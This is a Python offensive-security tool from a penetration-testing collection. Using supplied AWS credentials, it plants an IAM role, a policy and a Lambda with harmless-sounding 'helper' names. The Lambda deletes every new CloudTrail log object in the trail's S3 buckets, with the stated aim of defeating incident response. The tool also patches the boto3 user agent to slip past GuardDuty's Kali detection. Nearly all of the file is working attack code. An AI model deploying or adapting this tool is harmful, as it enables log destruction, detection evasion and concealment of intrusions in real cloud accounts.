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mgeeky-Penetration-Testing-.../clouds/aws/disruptCloudTrailByS3Lambda.py

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#!/usr/bin/python3
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#
# This script attempts to disrupt CloudTrail by planting a Lambda function that will delete every object created in S3 bucket
# bound to a trail. As soon as CloudTrail creates a new object in S3 bucket, Lambda will kick in and delete that object.
# No object, no logs. No logs, no Incident Response :-)
#
# One will need to pass AWS credentials to this tool. Also, the account affected should have at least following permissions:
# - `iam:CreateRole`
# - `iam:CreatePolicy`
# - `iam:AttachRolePolicy`
# - `lambda:CreateFunction`
# - `lambda:AddPermission`
# - `s3:PutBucketNotification`
#
# These are the changes to be introduced within a specified AWS account:
# - IAM role will be created, by default with name: `cloudtrail_helper_role`
# - IAM policy will be created, by default with name: `cloudtrail_helper_policy`
# - Lambda function will be created, by default with name: `cloudtrail_helper_function`
# - Put Event notification will be configured on affected CloudTrail S3 buckets.
#
# This tool will fail upon first execution with the following exception:
#
# ```
# [-] Could not create a Lambda function: An error occurred (InvalidParameterValueException) when calling the CreateFunction operation:
# The role defined for the function cannot be assumed by Lambda.
# ```
#
# At the moment I did not find an explanation for that, but running the tool again with the same set of parameters - get the job done.
#
# Afterwards, one should see following logs in CloudWatch traces for planted Lambda function - if no `--disrupt` option was specified:
#
# ```
# [*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000,
# Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz)
# ```
#
# Requirements:
# - boto3
# - pytest
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#
# Author: Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
#
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import io
import sys
import time
import json
import boto3
import urllib
import zipfile
import argparse
config = {
'debug' : False,
'region' : '',
'trail-name' : '',
'access-key' : '',
'secret-key' : '',
'token' : '',
'disrupt' : False,
'role-name' : '',
'policy-name' : '',
'function-name' : '',
'statement-id' : 'ID-1',
}
aws_policy_lambda_assume_role = {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
aws_policy_for_lambda_role = {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "arn:aws:logs:*:*:*"
},
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject",
"s3:DeleteObject",
"s3:DeleteObjectVersion"
],
"Resource": [
"arn:aws:s3:::*"
]
}
]
}
aws_s3_bucket_notification_configuration = {
"LambdaFunctionConfigurations": [
{
"LambdaFunctionArn": "<TO-BE-CREATED-LATER>",
"Id": config['statement-id'],
"Events": [
"s3:ObjectCreated:*"
]
}
]
}
disruption_lambda_code_do_harm = '''
response = s3.delete_object(Bucket=bucket, Key=key)
'''
disruption_lambda_code_no_harm = '''
print("[*] Following S3 object could be removed: (Bucket={}, Key={})".format(bucket, key))
'''
disruption_lambda_code = '''
import json
import urllib
import boto3
s3 = boto3.client('s3')
def lambda_handler(event, context):
try:
bucket = event['Records'][0]['s3']['bucket']['name']
key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key']).decode('utf8')
{code}
except Exception as e:
print('S3 delete object failed: ' + str(e))
raise e
'''
class Logger:
@staticmethod
def _out(x):
sys.stdout.write(x + '\n')
@staticmethod
def out(x):
Logger._out('[>] ' + x)
@staticmethod
def info(x):
Logger._out('[.] ' + x)
@staticmethod
def fatal(x):
sys.stdout.write('[!] ' + x + '\n')
sys.exit(1)
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
@staticmethod
def dbg(x):
if config['debug']:
sys.stdout.write(f'[dbg] {x}\n')
class CloudTrailDisruptor:
session = None
def __init__(self, region, access_key, secret_key, token = ''):
self.region = region
self.access_key = access_key
self.secret_key = secret_key
self.token = token
self.session = None
self.authenticate()
def authenticate(self):
try:
self.session = None
self.session = boto3.Session(
aws_access_key_id = self.access_key,
aws_secret_access_key = self.secret_key,
aws_session_token = self.token,
region_name = self.region
)
except Exception as e:
Logger.fail(f'Could obtain AWS session: {e}')
raise e
def get_session(self):
return self.session
def get_account_id(self):
try:
return self.session.client('sts').get_caller_identity()['Account']
except Exception as e:
Logger.fatal(f'Could not Get Caller\'s identity: {e}')
def find_trails_to_disrupt(self):
cloudtrail = self.session.client('cloudtrail')
trails = cloudtrail.describe_trails()
disrupt = []
for trail in trails['trailList']:
Logger.dbg(f"Checking whether trail {trail['Name']} is logging.")
status = cloudtrail.get_trail_status(Name = trail['Name'])
if status and status['IsLogging']:
r = 'Yes' if trail['IsMultiRegionTrail'] else 'No'
Logger.ok(f"Trail {trail['Name']} is actively logging (multi region? {r}).")
disrupt.append(trail)
return disrupt
def create_role(self, role_name, role_policy, description = ''):
iam = self.session.client('iam')
policy = json.dumps(role_policy)
roles = iam.list_roles()
for role in roles['Roles']:
if role['RoleName'] == role_name:
Logger.fail(f'Role with name: {role_name} already exists.')
Logger.dbg("Returning: {}".format(str({'Role':role})))
return {'Role' : role}
Logger.info(f'Creating a role named: {role_name}')
Logger.dbg(f'Policy to be used in role creation:\n{policy}')
out = {}
try:
out = iam.create_role(
RoleName = role_name,
AssumeRolePolicyDocument = policy,
Description = description
)
except Exception as e:
Logger.fatal(f'Could not create a role for Lambda: {e}')
# Due to fatal, code will not reach this path
return False
Logger.ok(f'Role created.')
Logger.dbg(f'Returned: {out}')
return out
def create_role_policy(self, policy_name, policy_document, description = ''):
iam = self.session.client('iam')
policy = json.dumps(policy_document)
policies = iam.list_policies(Scope = 'All')
for p in policies['Policies']:
if p['PolicyName'] == policy_name:
Logger.fail(f'Policy with name: {policy_name} already exists.')
return {'Policy' : p}
Logger.info(f'Creating a policy named: {policy_name}')
Logger.dbg(f'Policy to be used in role creation:\n{policy}')
out = {}
try:
out = iam.create_policy(
PolicyName = policy_name,
PolicyDocument = policy,
Description = description
)
except Exception as e:
Logger.fatal(f'Could not create a policy for that lambda role: {e}')
# Due to fatal, code will not reach this path
return False
Logger.ok(f'Policy created.')
Logger.dbg(f'Returned: {out}')
return out
def attach_role_policy(self, role_name, policy_arn):
Logger.info(f'Attaching policy ({policy_arn}) to the role {role_name}')
iam = self.session.client('iam')
attached = iam.list_attached_role_policies(RoleName = role_name)
for policy in attached['AttachedPolicies']:
if policy['PolicyArn'] == policy_arn:
Logger.fail(f'Policy is already attached.')
return True
try:
iam.attach_role_policy(
RoleName = role_name,
PolicyArn = policy_arn
)
except Exception as e:
Logger.fatal(f'Could not create a policy for that lambda role: {e}')
# Due to fatal, code will not reach this path
return False
Logger.ok(f'Policy attached.')
return True
# Source: https://stackoverflow.com/a/51899017
@staticmethod
def create_in_mem_zip_archive(file_map, files):
buf = io.BytesIO()
Logger.dbg("Building zip file: " + str(files))
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zfh:
for file_name in files:
file_blob = file_map.get(file_name)
if file_blob is None:
Logger.fail("Missing file {} from files".format(file_name))
continue
try:
info = zipfile.ZipInfo(file_name)
info.date_time = time.localtime()
info.compress_type = zipfile.ZIP_DEFLATED
info.external_attr = 0o777 << 16 # give full access
zfh.writestr(info, file_blob)
except Exception as ex:
raise ex
Logger.fail("Error reading file: " + file_name + ", error: " + ex.message)
buf.seek(0)
return buf.read()
def create_lambda_function(self, function_name, role_name, code, description = ''):
awslambda = self.session.client('lambda')
lambdacode = CloudTrailDisruptor.create_in_mem_zip_archive(
{'lambda_function.py': code},
{'lambda_function.py'}
)
funcs = awslambda.list_functions()
for f in funcs['Functions']:
if f['FunctionName'] == function_name:
Logger.fail(f'Function with name: {function_name} already exists. Removing old one.')
awslambda.delete_function(FunctionName = function_name)
Logger.ok('Old function was removed.')
break
Logger.info(f'Creating a lambda function named: {function_name} on Role: {role_name}')
Logger.dbg(f'Lambda code to be used:\n{code}')
out = {}
try:
out = awslambda.create_function(
FunctionName = function_name,
Runtime = 'python2.7',
Role = role_name,
Handler = 'lambda_function.lambda_handler',
Code = {
'ZipFile' : lambdacode,
},
Description = description,
Timeout = 30,
Publish = True
)
Logger.ok(f'Function created.')
except Exception as e:
Logger.fail(f'Could not create a Lambda function: {e}')
if 'The role defined for the function cannot be assumed by Lambda.' in str(e):
Logger.info('====> This is a known bug (?). Running again this program should get the job done.')
Logger.dbg(f'Returned: {out}')
return out
def permit_function_invoke(self, function_name, statement_id, bucket_arn):
awslambda = self.session.client('lambda')
Logger.info(f'Adding invoke permission to func: {function_name} on S3 bucket: {bucket_arn}')
try:
out = awslambda.add_permission(
FunctionName = function_name,
Action = 'lambda:InvokeFunction',
Principal = 's3.amazonaws.com',
SourceArn = bucket_arn,
StatementId = statement_id
)
except Exception as e:
Logger.fail(f'Could not add permission to the Lambda: {e}. Continuing anyway.')
return out
def set_s3_put_notification(self, bucket, notification_configuration):
s3 = self.session.client('s3')
arn = notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn']
conf = s3.get_bucket_notification_configuration(Bucket = bucket)
if 'LambdaFunctionConfigurations' in conf.keys():
for configuration in conf['LambdaFunctionConfigurations']:
if configuration['Id'] == config['statement-id'] and arn == configuration['LambdaFunctionArn']:
Logger.fail('S3 Put notification already configured for that function on that S3 bucket.')
return True
Logger.info(f'Putting a bucket notification configuration to {bucket}, ARN: {arn}')
Logger.dbg(f'Notification used :\n{notification_configuration}')
out = {}
try:
out = s3.put_bucket_notification_configuration(
Bucket = bucket,
NotificationConfiguration = notification_configuration
)
except Exception as e:
Logger.fail(f'Could not put bucket notification configuration: {e}')
return False
return True
def parseOptions(argv):
global config
print('''
:: AWS CloudTrail disruption via S3 Put notification to Lambda
Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
''')
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <region> [trail_name]')
parser._action_groups.pop()
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
required.add_argument('region', type=str, help = 'AWS region to use.')
required.add_argument('--access-key', type=str, help = 'AWS Access Key ID')
required.add_argument('--secret-key', type=str, help = 'AWS Access Key ID')
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optional.add_argument('--token', type=str, help = 'AWS temporary session token')
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optional.add_argument('trail_name', type=str, default = 'all', nargs='?', help = 'CloudTrail name that you want to disrupt. If not specified, will disrupt every actively logging trail.')
optional.add_argument('--disrupt', action='store_true', default = False, help = 'By default, this tool will install Lambda that is only logging that it could remove S3 objects. By using this switch, there is going to be Lambda introduced that actually deletes objects.')
optional.add_argument('--role-name', type=str, default='cloudtrail_helper_role', help = 'name for AWS Lambda role')
optional.add_argument('--policy-name', type=str, default='cloudtrail_helper_policy', help = 'name for a policy for that Lambda role')
optional.add_argument('--function-name', type=str, default='cloudtrail_helper_function', help = 'name for AWS Lambda function')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
args = parser.parse_args()
config['debug'] = args.debug
config['access-key'] = args.access_key
config['secret-key'] = args.secret_key
config['token'] = args.token
config['region'] = args.region
config['disrupt'] = args.disrupt
config['trail-name'] = args.trail_name
config['role-name'] = args.role_name
config['policy-name'] = args.policy_name
config['function-name'] = args.function_name
if not args.access_key or not args.secret_key:
Logger.fatal("Please provide AWS Access Key, Secret Key and optionally Session Token")
return args
def monkeyPatchBotocoreUserAgent():
'''
This is to avoid triggering GuardDuty 'PenTest:IAMUser/KaliLinux' alerts
Source:
https://www.thesubtlety.com/post/patching-boto3-useragent/
'''
import sys
import boto3
import botocore
try:
from _pytest.monkeypatch import MonkeyPatch
except (ImportError, ModuleNotFoundError) as e:
print('[!] Please install "pytest" first: pip3 install pytest')
print('\tthis will be used to patch-up boto3 library to avoid GuardDuty Kali detection')
sys.exit(0)
monkeypatch = MonkeyPatch()
def my_user_agent(self):
return "Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic"
monkeypatch.setattr(botocore.session.Session, 'user_agent', my_user_agent)
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def main(argv):
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
monkeyPatchBotocoreUserAgent()
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dis = CloudTrailDisruptor(
config['region'],
config['access-key'],
config['secret-key'],
config['token']
)
account_id = dis.get_account_id()
Logger.info(f'Will be working on Account ID: {account_id}')
Logger.info('Step 1: Determine trail to disrupt')
trails = []
if config['trail-name'] and config['trail-name'] != 'all':
Logger.ok(f"Will use trail specified by user: {config['trail-name']}")
trail_name = config['trail-name']
ct = dis.get_session().client('cloudtrail')
t = ct.describe_trails(trailNameList=[trail_name,])
trails.append(t[0])
else:
trails.extend(dis.find_trails_to_disrupt())
Logger.info('Trails intended to be disrupted:')
for trail in trails:
Logger._out(f'\t- {trail["Name"]}')
Logger._out('')
Logger.info('Step 2: Create a role to be assumed by planted Lambda')
created_role = dis.create_role(config['role-name'], aws_policy_lambda_assume_role)
if not created_role:
Logger.fatal('Could not create a lambda role.')
Logger.info('Step 3: Create a policy for that role')
policy = dis.create_role_policy(config['policy-name'], aws_policy_for_lambda_role)
if not policy:
Logger.fatal('Could not create a policy for lambda role.')
Logger.info('Step 4: Attach policy to the role')
if not dis.attach_role_policy(config['role-name'], policy['Policy']['Arn']):
Logger.fatal('Could not attach a policy to the lambda role.')
Logger.info('Step 5: Create Lambda function')
code = ''
if config['disrupt']:
code = disruption_lambda_code.format(code = disruption_lambda_code_do_harm)
Logger.info('\tUSING DISRUPTIVE LAMBDA!')
else:
code = disruption_lambda_code.format(code = disruption_lambda_code_no_harm)
Logger.info('\tUsing non-disruptive lambda.')
if not dis.create_lambda_function(config['function-name'], created_role['Role']['Arn'], code):
Logger.fatal('Could not create a Lambda function.')
Logger.info('Step 6: Permit function to be invoked on all trails')
for trail in trails:
bucket_arn = f"arn:aws:s3:::{trail['S3BucketName']}"
dis.permit_function_invoke(config['function-name'], config['statement-id'], bucket_arn)
Logger.info('Step 7: Configure trail bucket\'s put notification')
global aws_s3_bucket_notification_configuration
regions = [config['region'], ]
for region in regions:
arn = f"arn:aws:lambda:{region}:{account_id}:function:{config['function-name']}"
aws_s3_bucket_notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn'] = arn
for trail in trails:
dis.set_s3_put_notification(
trail['S3BucketName'],
aws_s3_bucket_notification_configuration
)
print("[+] Installed CloudTrail's S3 bucket disruption Lambda.")
if __name__ == '__main__':
main(sys.argv)